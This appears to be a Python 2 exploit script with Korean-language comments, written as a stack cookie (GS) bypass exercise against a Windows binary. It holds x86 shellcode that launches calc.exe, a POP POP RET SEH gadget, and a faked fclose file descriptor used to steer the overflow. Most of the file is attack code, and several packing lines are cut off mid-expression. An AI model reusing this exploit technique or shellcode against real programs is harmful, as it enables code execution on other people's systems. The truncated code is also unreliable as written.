#-*-encoding:utf-8-*- #!python # Title : bypass GS # Author : c0nstant #calc import struct calc ="" calc +="\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" calc +="\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" calc +="\x77\x20\x8b\x3f\x80\x7e\x0c\x33" calc +="\x75\xf2\x89\xc7\x03\x78\x3c\x8b" calc +="\x57\x78\x01\xc2\x8b\x7a\x20\x01" calc +="\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" calc +="\x45\x81\x3e\x43\x72\x65\x61\x75" calc +="\xf2\x81\x7e\x08\x6f\x63\x65\x73" calc +="\x75\xe9\x8b\x7a\x24\x01\xc7\x66" calc +="\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" calc +="\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" calc +="\xb1\xff\x53\xe2\xfd\x68\x63\x61" calc +="\x6c\x63\x89\xe2\x52\x52\x53\x53" calc +="\x53\x53\x53\x53\x52\x53\xff\xd7" #seh # seh handler ''' 00401258 59 POP ECX 00401259 59 POP ECX 0040125A C3 RETN ''' seh_next = struct.pack('; \fclose # 그렇다면 ASLR을 내가 적용하지 않았으니까 FCLOSE의 디스크립터가 고정적인지 그렇지 않은지 판단해보자.. # 두번째 시도 # 00401053 . 52 PUSH EDX ; /stream = 02604100 # 00401054 . FF15 B0204000 CALL DWORD PTR DS:[<&api-ms-win-crt-stdi>; \fclose # 지금 보면 aslr 우회하는 방법 중 하나와 비슷한 주소값이 떨어졌다. # 하지만 ASLR 우회하는건 하위 바이트 2바이트만 변하는거라 쉬웠는데 지금은 중간 바이트가 변한다..... ㅠㅠ #---------------------------------------------------------------------------------------- # fake fd fake = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x20\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF" #payload = "A"*100 print 'fake len',len(fake) # 40 # fake fd stack address --> #0019FFD4 -> 0019FED0 임..# payload = fake+ "A"*(100-len(fake))+ struct.pack('